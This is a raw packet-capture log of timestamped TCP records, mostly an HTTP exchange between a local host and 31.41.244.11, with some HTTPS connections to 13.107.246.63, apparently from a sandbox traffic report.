Nov 23, 2024 11:22:12.514468908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.514497042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.514528036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.514560938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.515544891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.515568018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.515597105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.515618086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.516591072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.516602039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.516653061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.517354965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.517410994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.517462015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.517512083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.518383980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.518440008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.518477917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.518534899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.519377947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.519429922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.519484043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.519531012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.519798994 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.520365000 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.520378113 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.520407915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.520529985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.520585060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.520833015 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.520838976 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.521452904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.521509886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.521517992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.521564960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.522449017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.522496939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.522510052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.522542000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.523380041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.523432970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.523487091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.523540974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.524482965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.524509907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.524548054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.524548054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.525368929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.525422096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.525423050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.525818110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.526407003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.526464939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.675318956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.675451994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.675515890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.675673962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.675944090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.675997972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.676713943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.676774025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.676820040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.677681923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.677772999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.677839041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.678663969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.678720951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.678812027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.678875923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.679656982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.679742098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.679795980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.679871082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.680658102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.680838108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.680893898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.681667089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.681858063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.681917906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.682698011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.682862043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.682909966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.683639050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.683701038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.683872938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.683929920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.684684992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.684746027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.684892893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.684982061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.685682058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.685730934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.685854912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.685923100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.686781883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.687283993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.687350035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.687788010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.687962055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.688014030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.688647985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.688844919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.688894987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.689645052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.689692974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.689764023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.689815044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.690717936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.690773010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.690809011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.690860033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.691637993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.691716909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.691787004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.691837072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.692646027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.692737103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.692754984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.692811012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.693691969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.693939924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.694003105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.694664001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.694794893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.694844007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.695660114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.695708036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.695751905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.696116924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.696656942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.696711063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.696785927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.697009087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.697686911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.697751045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.697808027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.698704004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.698802948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.698843956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.698901892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.699610949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.699662924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.699754000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.699799061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.700666904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.700854063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.700913906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.701673985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.701685905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.701734066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.702651024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.702769995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.702825069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.703620911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.703676939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.703722954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.703774929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.704644918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.704737902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.704782009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.704832077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.705708027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.705753088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.705797911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.706700087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.706741095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.706789017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.707674980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.707690001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.707720041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.707739115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.708656073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.708668947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.708726883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.709625006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.709686041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.709687948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.709736109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.710618973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.710680008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.710764885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.710824013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.711618900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.711734056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.711781025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.712634087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.712752104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.712770939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.712809086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.713643074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.713788986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.713848114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.714648008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.714728117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.714792013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.715660095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.715958118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.716012955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.716660023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.716716051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.716753960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.716806889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.717650890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.717703104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.717776060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.717823982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.718657970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.718677998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.718709946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.718744993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.719681978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.719786882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.719836950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.720695972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.720793009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.720839977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.721642971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.721656084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.721703053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.722654104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.722666025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.722707033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.723602057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.723669052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.723717928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.723766088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.724630117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.724680901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.724865913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.724951029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.725636005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.725693941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.725953102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.726624012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.726697922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.726748943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.727601051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.727663040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.779457092 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.779503107 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.779577017 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.779839993 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.779869080 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.779880047 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.779886007 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.782685041 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.782746077 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.782843113 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.782973051 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.782991886 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.792745113 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.792790890 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.792856932 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.792963982 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.792979002 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.792989016 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.792993069 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.795030117 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.795133114 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.796454906 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.796564102 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.796602964 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.818444014 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.818588972 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.818658113 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.818778992 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.818778992 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.818805933 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.818831921 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.819107056 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.819168091 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.819221973 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.819350004 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.819363117 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.819379091 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.819387913 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.820838928 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.820864916 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.820921898 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.821038008 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.821064949 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.821101904 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.821116924 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.821135998 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.821224928 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.821260929 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.876450062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.876478910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.876563072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.876701117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.876832962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.876889944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.877692938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.877795935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.877851963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.878860950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.878976107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.879034996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.879832983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.879889965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.879920006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.880441904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.880614996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.880665064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.880742073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.880791903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.881563902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.881691933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.881747007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.882586002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.882673025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.882730007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.883616924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.883668900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.883835077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.884299994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.884579897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.884736061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.884788990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.885565042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.885674000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.885729074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.886706114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.886868954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.886928082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.887593031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.887641907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.887697935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.888436079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.888581991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.888627052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.888662100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.888706923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.889565945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.889605045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.889612913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.889646053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.890579939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.890629053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.890672922 CET	80	49765	31.41.244.11	192.168.2.4
